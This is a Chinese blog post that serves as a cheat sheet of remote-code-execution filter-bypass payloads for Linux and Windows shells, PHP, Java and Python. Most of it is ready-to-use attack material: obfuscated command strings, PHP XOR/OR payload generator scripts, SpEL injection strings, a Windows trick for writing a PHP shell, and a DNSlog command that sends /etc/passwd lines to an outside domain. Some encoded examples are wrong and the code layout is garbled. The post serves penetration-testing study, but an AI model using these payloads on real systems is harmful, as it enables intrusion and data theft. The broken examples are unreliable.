文章总结： 这篇文章详细介绍了RCE安全的各种绕过技术，包括系统层面和代码层面的多种方法。系统层面涵盖了Linux和Windows的命令执行绕过技巧，如多层编码、伪协议、NULL字符截断、文件中转等。代码层面则针对PHP、Java和Python语言，介绍了eval、assert、system等函数的绕过方法，包括字符串拼接、编码、取反、异或等技术。文章提供了大量实用技巧和示例代码，对渗透测试和安全研究具有重要参考价值。
综合评分： 91
文章分类： 渗透测试,漏洞分析,WEB安全,代码审计,实战经验
RCE安全（四）
原创
一个努力的学渣
一个努力的学渣
2025年12月5日 12:03
北京
免责声明
本文只做学术研究使用，不可对真实未授权网站使用，如若非法他用，与平台和本文作者无关，需自行负责！
PS：本文较长，如耐心看完，希望真的对你有所帮助！！！
通用绕过(系统/代码层面)
多层编码绕过：
- 原理：多次编码 payload（如 Base64 + URL 编码），绕过 WAF 或代码中的单次解码过滤
- 第一次 Base64 编码：
d2hvYW1p - 第二次 URL 编码：
%64%32%68%76%59%57%31%70 - system(base64_decode(urldecode(“%64%32%68%76%59%57%31%70”)));
伪协议绕过：
-
原理：用 Web 协议（如
php://input``data://）传递恶意内容，绕过输入过滤 -
配合文件包含伪协议（代码执行）
-
include $_GET[a]?>&a=data://text/plain,
-
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php
-
php://input：eval(file_get_contents('php://input'));→ POST 数据传入phpinfo(); -
data://：include("data://text/plain;base64,cGhwZW5vKCk7");（Base64 解码为phpinfo();）
NULL字符截断绕过：
- 原理：
%00是 NULL 字符，部分系统 / 语言会截断后续内容，绕过长度限制或过滤 - 代码：
$cmd = $_GET['cmd'] . '.txt'; system("cat " . $cmd); - payload：
/etc/passwd%00→ 拼接后为cat /etc/passwd%00.txt，%00截断.txt，执行cat /etc/passwd
文件中转绕过：
-
原理：若直接执行命令被禁，先将恶意命令写入文件，再执行文件
-
Linux+python：
-
写入命令到文件：
exec("open('cmd.sh','w').write('whoami > /tmp/result');") -
执行文件：
exec("sh cmd.sh"); -
Windows+PHP：
-
写入命令到文件：
system("echo whoami > C:\\cmd.bat"); -
执行文件：
system("C:\\cmd.bat");
Linux系统层面绕过
运算符：
- 分号：命令从左到右依次执行
- | ：上一条命令的输出，作为下一条命令参数
-
& ：后台执行
-
比如ping 127.0.0.1&whoami #ping放到后台执行，但whoami也成功执行了
- &&：上一条命令执行成功才会执行下条命令
- ||:左边为假才会执行第二条命令
- IP绕过：127.1也是127.0.0.1
通配符：
- flag=fl* #一个*可以代表很多字符
- cat fl*
- cat ?la*
- /bin/c?t flag #一个?代表一个字符
- cat fl[a-z]*
转义符号：
- ca\t /fl\ag
- cat fl”ag
- c’a’t flag
- c”a”t flag
使用空变量$*和$@，$x,${x}绕过：
- ca$*t fl$*ag
- ca$@t fl$@ag
- ca$5t f$5lag
- ca${2}t f${2}lag
- cat $u/etc$u/passwd
拼接法：
- a=fl;b=ag;cat$IFS$a$b
错误命令绕过：
111whoami111111whssssoaxfsmi111
别名绕过：
- alias ccccc=cat;ccccc flag #需执行两次
- alias cccc=cat && cccc flag #只需执行一次即可
其他符号绕过：
- who”ami
- (whoami)
- (who”ami)
(echo whoami)- $(echo whoami)
- cat
ls#终端可能会执行很多内容
编码绕过：
-
URL编码：%63%61%74%20%66%6c%61%67（URL解码后为cat flag）
-
echo ‘flag’ | base64
-
cat
echo ZmxhZwo= | base64 -d -
对cat进行解码：
-
echo ‘cat’ | base64
-
echo Y2F0Cg== | base64 -dflag -
如果没有bash环境那换sh
-
echo [hex编码]|xxd r -p|bash
-
echo “636174202F6574632F706173737764” | xxd -r -p | bash
组合绝活：
-
网上说是可以绕过长度限制，直接终端执行无法执行出效果
-
touch “ag”
-
touch “fl\”
-
\指的是换行
-
touch “t \”
-
touch “ca\”
-
ls -t >shell
-
ls -t是将文本按时间排序输出
-
ls -t >shell 将输出输入到shell文件中
-
sh shell
-
sh将文本中的文字读取出来执行
内敛执行绕过（system、ls）:
- echo
ls; - echo $(ls);
- ?><?=
ls; #PHP代码 - ?><?=$(ls); #PHP代码
- ?ip=127.0.0.1;cat$IFS$9
ls
过滤系统命令(ls)
- echo *
- dir
- find .
过滤执行命令（如cat tac等）
- more:一页一页的显示档案内容
- less:与 more 类似
- head:查看头几行
- tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
- tail:查看尾几行
- tailf：类似于tail -f
- nl：显示的时候，顺便输出行号
- od:以二进制的方式读取档案内容
- vi:一种编辑器，这个也可以查看
- vim:一种编辑器，这个也可以查看
- sort:可以查看
- uniq:可以查看
- file -f:报错出具体内容
- sh /flag 2>%261 //报错出文件内容
- curl file:///root/flag
- strings flag
- uniq -c flag
- bash -v flag
- rev flag
/绕过：
- cat $(echo -e ‘\x2f’)etc$(echo -e ‘\x2f’)passwd
- ${PATH:0:1}bin${PATH:0:1}cat flag
路径绕过：
- cat ///root//flag
- cat ../../../../../root/flag
- cat /proc/self/cwd/../../../../../root/flag
过滤空格：
- %09、%0a（url传递）(cat%09flag.php)
- cat${IFS}flag
- a=fl;b=ag;cat$IFS$a$b
- {cat,flag}
-
Linux：
-
{cat,flag.txt}
-
cat${IFS}flag.txt
-
cat$IFS$9flag.txt # $IFS为Linux环境变量，$9为第九个值(操作系统层面绕过)
-
cat<flag.txt
-
cat<>flag.txt
-
ls%09/ #%09是Tab键(PHP代码层面绕过)
-
kg=$’\x20flag.txt’&&cat$kg #\x20转换成字符串就说空格，这里通过变量的方式巧妙的绕过
Linux花式读文件
- static-sh ./flag.txt
- paste ./flag.txt /etc/passwd
- cd ./hello;cat
ls - ste ./flag.txt /etc/passwd
- diff ./flag.txt /etc/passwd
- bzmore ./flag.txt
- bzless ./flag.txt
- curl file:///root/flag
- od -a ./flag.txt
Windows系统层面绕过
-
空格绕过：
-
type.\flag.txt
-
type,flag.txt
-
echo,123456
-
溢出绕过：大量脏数据填充
-
cmd被过滤：
-
PowerShell：
powershell -Command "whoami"powershell -Command "Get-Content C:\Windows\system32\drivers\etc\hosts"
-
文件下载参考：https://forum.ywhack.com/bountytips.php?download
-
大小写绕过
-
双引号绕过：who”””ami
-
^绕过：
-
who^ami
-
who^a^mi
-
错误用法(^不能连续使用)：who^^ami
-
“与^组合：
-
“在^之前：”必须为偶数
-
who””a^mi
-
^在”之前：”可以为奇数可以为偶数
-
net u^s”er
-
()绕过：(whoami)
-
变量
-
方式一：
-
set b1=wh
-
set b2=oami
-
%b1%%b2%
-
方式二：
-
set b3=who
-
%b3%amin
-
方式三：
-
set c1=wh”””o
-
set c2=i”””
-
%c1%am%c2%
-
方式四：
-
set c1=wh””””o #双引号需要偶数
-
set c2=i”””
-
%c1%a^m%c2%
-
方式五：
-
set c1=w””h
-
set c2=o
-
set c3=a^mi
-
%c1%%c2%%c3%
-
一行执行多条命令：
-
cmd /c “set c1=wh”” && set c2=o && set c3=a””mi && %c1%%c2%%c3%
-
环境变量切分：
-
set c1=whoami
-
echo %c1:~0,1% #0和1代表数组切片，从第0位开始切一片，whoami取w
-
echo %c1:~0,5% #从第0位开始切五片，whoami取whoam
-
echo %c1:~-4,5% #负数表示从右边开始数第几个，从右边数第四个然后取五片，whoami取oami，因为只有四片
-
echo %c1:~-6,5% #从右边数第六个然后取五片，whoami取whoam
-
如何利用环境变量写shell？
-
set “web=“
-
echo ^%web:~0,1%^%web:~1,1%^%web:~2,3% ^%web:~5,4%^%web:~9,1%^%web:~10,6%^%web:~16,2%^%web:~18,1%^%web:~19,1%^%web:~20,2% > c:/1.php
-
for循环执行命令：
-
cmd /V:ON /C “set kpx=awlh2im,xueozh&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!”
-
同理ipconfig如何执行呢？
-
cmd /V:ON /C “set kpx=isfgapncgsogik&& set lq=& for %G in (0,5,-7,-4,6,2,-2,-3) do set lq=!lq!!kpx:~%G,1!& if %G==-3 !lq:~4!”
无回显利用：
-
直接写个文件访问查看
-
?code=echo%20123>2.txt
-
之后访问2.txt
-
直接进行对外访问接受
-
ping Dnslog地址
-
命令执行无回显：
-
1.对外发包：Dnslog、nc监听
-
2.主动找他：nc、python终端（python -m http.server）、写文件到一个目录，然后访问文件是否存在
-
Dnslog读取文件，多行绕过
-
平台：https://dig.pm/
-
命令：ping $(sed -n ‘1p’ /etc/passwd).581cb7089e.ddns.1433.eu.org #代表查看第一行数据
PHP代码层面绕过
代码执行绕过(eval、assert)
eval() 和 assert() 直接执行 PHP 代码，绕过核心是「拼接 / 编码恶意代码，绕过关键字过滤」
-
字符串拼接与变形：
-
原理：PHP 字符串支持
.拼接、变量替换，可拆分恶意代码关键字 -
基础拼接：
-
eval(“php”.”info();”);
-
eval(“p”.”h”.”p”.”i”.”n”.”f”.”o”.”();”);
-
变量替换：
$a = "phpinfo"; $a();（绕过phpinfo()直接匹配） -
数组拼接：
$b = ["p","h","p","i","n","f","o"]; eval(implode("",$b)."();");（implode拼接数组为字符串） -
编码绕过：
-
原理：将恶意代码编码为 Base64 / 十六进制 / Unicode，避免关键字暴露，PHP 解码后执行
-
Base64 解码：
eval(base64_decode("cGhwZW5vKCk7"));（cGhwZW5vKCk7是phpinfo();的 Base64 编码） -
十六进制转义：
eval("\x70\x68\x70\x69\x6E\x66\x6F\x28\x29\x3B");（\x70对应p，拼接为phpinfo();） -
Unicode 转义：
eval("\u{70}\u{68}\u{70}\u{69}\u{6E}\u{66}\u{6F}();");（PHP 7.0+ 支持 Unicode 转义） -
过滤逻辑绕过：
-
正则匹配缺陷：
-
若过滤
phpinfo用/phpinfo/i，加空格 / 注释：phpinfo ();（加空格）、phpinfo/*comment*/();（/* */是 PHP 注释，绕过关键字匹配） -
若过滤
eval用/eval/i，大小写混合：eVaL("phpinfo();")（PHP 函数名不区分大小写） -
闭合绕过(针对代码拼接场景)：
-
场景：代码为
eval("echo '".$user_input."';");（用户输入拼接进eval） -
payload：
';phpinfo();//→ 拼接后为eval("echo '';phpinfo();//';");，//注释后续内容，执行phpinfo(); -
动态函数绕过(函数名被过滤)：
-
场景：
system()被过滤，用动态函数调用 -
示例：
$func = "sys"."tem"; $func("whoami");（拼接函数名）、$func = base64_decode("c3lzdGVt"); $func("whoami");（Base64 解码system）
命令执行绕过（system() exec() shell_exec()）
命令执行函数调用系统 shell，绕过核心是「结合系统层面绕过技巧，绕过代码中的命令过滤」
-
命令拼接与编码：
-
基础拼接：
system("w"."ho"."ami"); -
Base64 解码：
system(base64_decode("d2hvYW1p")); -
环境变量拼接：
system("${PATH:0:1}bin${PATH:0:1}whoami");（Linux 环境） -
替代函数绕过：
-
若某命令执行函数被过滤，用其他功能相同的函数替代：
| | | |
| — | — | — |
| 被过滤函数 | 替代函数 | 示例（执行ls ） |
| system() | passthru() exec() | passthru("ls"); 、exec("ls", $output);var_dump($output); |
| shell_exec() | popen() proc_open() | $handle = popen("ls", "r"); echo fread($handle, 1024); pclose($handle); |
| 所有命令函数 | eval() 间接调用 | eval("system('ls');"); （若eval 未被过滤） |
-
特殊符号逃逸：
-
单引号 / 双引号拆分：
system("cat '/e'tc'/p'asswd");、system("cat \"/e\"tc\"/p\"asswd"); -
反斜杠转义：
system("cat \/etc\/passwd");（绕过/过滤）
取反绕过：
-
核心原理：利用 PHP 对字符串的按位取反特性，将恶意命令的字符转换为不可见 / 特殊字符的取反形式，绕过关键字黑名单过滤。该技巧依赖 PHP 的弱类型特性和字符串编码机制，常用于
system()``exec()等命令执行函数，或eval()代码执行函数的绕过场景 -
需要满足的条件：
-
PHP 版本支持：PHP 5.x ~ PHP 8.x 均支持（按位取反是 PHP 基础语法，无版本限制）
-
执行函数未被完全禁用：需存在可执行命令 / 代码的函数（如
system()``eval()``assert()），仅过滤了关键字（如system``cat）
<?php/** * 生成字符串的 PHP 取反表达式 * @param string $str 目标字符串（如 "system" "cat" "whoami"） * @return string 取反表达式 */function str_to_negate($str) { $result = []; for ($i = 0; $i < strlen($str); $i++) { $char = $str[$i]; $hex = dechex(ord($char)); // 字符转 16 进制 $result[] = '~"\x' . $hex . '"'; // 拼接取反表达式 } return implode('.', $result);}
// 示例：生成 "system" 的取反表达式echo str_to_negate("system"); // 输出：~"\x73".~"\x79".~"\x73".~"\x74".~"\x65".~"\x6D"echo "\n";// 示例：生成 "cat" 的取反表达式echo str_to_negate("cat"); // 输出：~"\x63".~"\x61".~"\x74"echo "\n";// 示例：生成 "whoami" 的取反表达式echo str_to_negate("whoami"); // 输出：~"\x77".~"\x68".~"\x6F".~"\x61".~"\x6D".~"\x69"?>
简单demo：
<?php$cmd = $_GET['cmd'];// 过滤 "system" 关键字（简单字符串匹配）if (strpos($cmd, 'system') !== false) { die("禁止执行危险命令！");}// 执行命令eval($cmd . ";");?>
得到取反数值：~"\x73".~"\x79".~"\x73".~"\x74".~"\x65".~"\x6d"之后进行二次取反：~~"\x73".~~"\x79".~~"\x73".~~"\x74".~~"\x65".~~"\x6d"之后变量调用函数，规避错误：$a=~~"\x73".~~"\x79".~~"\x73".~~"\x74".~~"\x65".~~"\x6D";$a("ipconfig")最后进行URL编码：cmd=$a=~~%22%5Cx73%22.~~%22%5Cx79%22.~~%22%5Cx73%22.~~%22%5Cx74%22.~~%22%5Cx65%22.~~%22%5Cx6D%22;$a(%22ipconfig%22)
异或无符号（过滤0-9a-zA-Z）：
-
核心规则是：两个操作数相同则结果为假（0），不同则结果为真（1）
-
异或：rce-xor.php & rce-xor.py –>先执行rce-xor.php，生成res.txt，之后运行rce-xor.py，生成最终结果
-
your function：系统函数，如system
-
your command：系统命令，如ipconfig
#rce-xor.php<?php$myfile = fopen("res.txt", "w");$contents="";for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }
else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
}}fwrite($myfile,$contents);fclose($myfile);
#rce-xor.pyimport requestsimport urllibfrom sys import *import os
def action(arg): s1 = "" s2 = "" for i in arg: f = open("res.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output)
while True: param = action(input("\n[+] your function：")) + action(input("[+] your command：")) + ";" print(param)
-
或：rce-xor-or.php & rce-xor-or.py –>先执行rce-xor-or.php，生成res_xor.txt，之后运行rce-xor-or.py，生成最终结果
-
your function：系统函数，如system
-
your command：系统命令，如ipconfig
#rce-xor-or.php<?php $myfile = fopen("res_xor.txt", "w");$contents="";for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }
else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
}}fwrite($myfile,$contents);fclose($myfile);
#rce-xor-or.pyimport requestsimport urllibfrom sys import *import os
def action(arg): s1 = "" s2 = "" for i in arg: f = open("res_xor.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output)
while True: param = action(input("\n[+] your function：")) + action(input("[+] your command：")) + ";" print(param)
简单demo：
<?php// 过滤字母数字的场景$code = $_GET['code'];if (!preg_match('/[a-zA-Z0-9]/', $code)) { eval($code); // 危险函数，实际场景可能是 assert/ call_user_func 等}
使用上述提供的代码生成POC
Java代码层面绕过
Runtime.getRuntime().exec() 命令执行绕过
exec() 特性：不支持 shell 分隔符（; && ||），需通过 bash -c（Linux）或 cmd /c（Windows）调用 shell 解析，绕过核心是「命令拼接 / 编码，绕过参数过滤」
-
命令分隔符绕过：
-
场景：执行
whoami && ls（Linux），exec()不支持&&，需用bash -c包裹
// 直接执行（失败，不支持 &&）Runtime.getRuntime().exec("whoami && ls");// 绕过（调用 bash 解析命令）Runtime.getRuntime().exec(new String[]{"bash", "-c", "whoami && ls"});// Windows 环境（调用 cmd /c）Runtime.getRuntime().exec(new String[]{"cmd", "/c", "whoami & dir"});
-
命令拼接与编码：
-
字符串拼接：
Runtime.getRuntime().exec("w"+"ho"+"ami"); -
Base64 解码：
new String(Base64.getDecoder().decode("d2hvYW1p"))→ 解码后为whoami，结合exec：
String cmd = new String(Base64.getDecoder().decode("d2hvYW1p"));Runtime.getRuntime().exec(cmd);
-
十六进制转义：
"\x77\x68\x6F\x61\x6D\x69"（对应whoami） -
路径绕过(类/方法被过滤)：
-
场景：
Runtime类被过滤，用反射机制动态获取类和方法
// 反射调用 Runtime.exec()，绕过 Runtime 类过滤Class<?> runtimeClass = Class.forName("java.lang.Runtime");Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");Object runtimeObj = getRuntimeMethod.invoke(null);Method execMethod = runtimeClass.getMethod("exec", String.class);execMethod.invoke(runtimeObj, "whoami");
EL 、SpEL表达式注入
EL 表达式（#{}）和 SpEL 表达式（#{}）常用于框架（如 Spring），绕过核心是「反射调用系统类，绕过关键字过滤」
-
EL 表达式注入绕过：
-
场景：过滤 Runtime，用 Class.forName 反射加载类
基础绕过：#{T(java.lang.Class).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("whoami")}进阶绕过（类名拼接）：#{T(java.lang.Class).forName("java.l"+"ang.Runt"+"ime").getMethod("getRuntime").invoke(null).exec("whoami")}
-
SpEL 表达式注入绕过：
-
场景：过滤
exec方法，用反射调用exec
基础绕过：#{T(java.lang.Runtime).getRuntime().getClass().getMethod("exec", T(java.lang.String)).invoke(T(java.lang.Runtime).getRuntime(), "whoami")}编码绕过（Base64 解码命令）：#{T(java.lang.Runtime).getRuntime().exec(new String(T(java.util.Base64).getDecoder().decode("d2hvYW1p")))}
反序列化注入
反序列化 RCE 依赖恶意序列化 payload，绕过核心是「绕过类黑名单、特征码检测」
-
绕过类黑名单：
-
若目标过滤
TemplatesImpl``GadgetChain等常见利用类，改用替代类： -
TrAXFilter（JDK 内置，无依赖） -
JdbcRowSetImpl（JNDI 注入场景） -
HashMap+TiedMapEntry（复杂 Gadget 链） -
编码与变形payload：
-
Base64 编码 payload：
ser.payload→ Base64 编码后传输，绕过字符过滤 -
变形 Gadget 链：调整类加载顺序、添加无用字段，避免被 WAF 特征码匹配
Python代码层面绕过
Python 常见 RCE 函数：eval()``exec()``os.system()``subprocess.run()，绕过重点针对「模块导入限制」「字符串过滤」「函数名过滤」
代码执行绕过（eval() exec()）
eval() 执行单行 Python 表达式，exec() 执行多行代码块，绕过核心是「绕过模块导入限制，拼接 / 编码恶意代码」
-
模块导入绕过：
-
场景：
import os被过滤，用__import__动态导入模块 -
基础绕过：
eval("__import__('os').system('whoami')") -
模块名拼接：
eval("__import__('o'+'s').system('whoami')") -
过滤
__import__时，用exec动态导入：exec("import os; os.system('whoami')") -
字符串编码与变形：
-
Base64 解码：
eval(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3dob2FtaScp').decode())（解码后为__import__('os').system('whoami')） -
十六进制：
eval("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x77\x68\x6f\x61\x6d\x69\x27\x29") -
换行符绕过（单行过滤）：
exec("import os\nos.system('whoami')")（URL 编码为import%20os%0Aos.system('whoami')） -
注释绕过：
-
原理：用
#注释中间字符，绕过关键字匹配 -
eval("__import__('os')#comment.system('whoami')")（#comment注释无关内容，不影响执行）
命令执行绕过（os.system() subprocess.run()）
命令执行函数调用系统 shell，绕过核心是「结合系统层面绕过技巧，绕过代码中的命令过滤」
-
命令拼接与编码：
-
字符串拼接：
os.system('w'+'ho'+'ami') -
变量替换：
cmd = 'whoami'; os.system(cmd) -
Base64 解码：
os.system(__import__('base64').b64decode('d2hvYW1p').decode()) -
subprocess 模块绕过：
-
场景：
shell=False时（默认不支持命令注入），用bash -c或cmd /c绕过
# shell=False 时，直接传数组（无注入风险）subprocess.run(['ls', '-l'])# 绕过注入（调用 shell 解析）subprocess.run(['bash', '-c', 'whoami && ls'], shell=False) # Linuxsubprocess.run(['cmd', '/c', 'whoami & dir'], shell=False) # Windows
-
替代函数绕过：
-
若
os.system()被过滤，用其他命令执行函数： -
os.popen()：os.popen('whoami').read()（返回命令输出） -
subprocess.check_output()：subprocess.check_output(['whoami'], shell=True) -
pty.spawn()：import pty; pty.spawn('/bin/bash')（获取交互式 shell）
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：一个努力的学渣 一个努力的学渣《RCE安全（四）》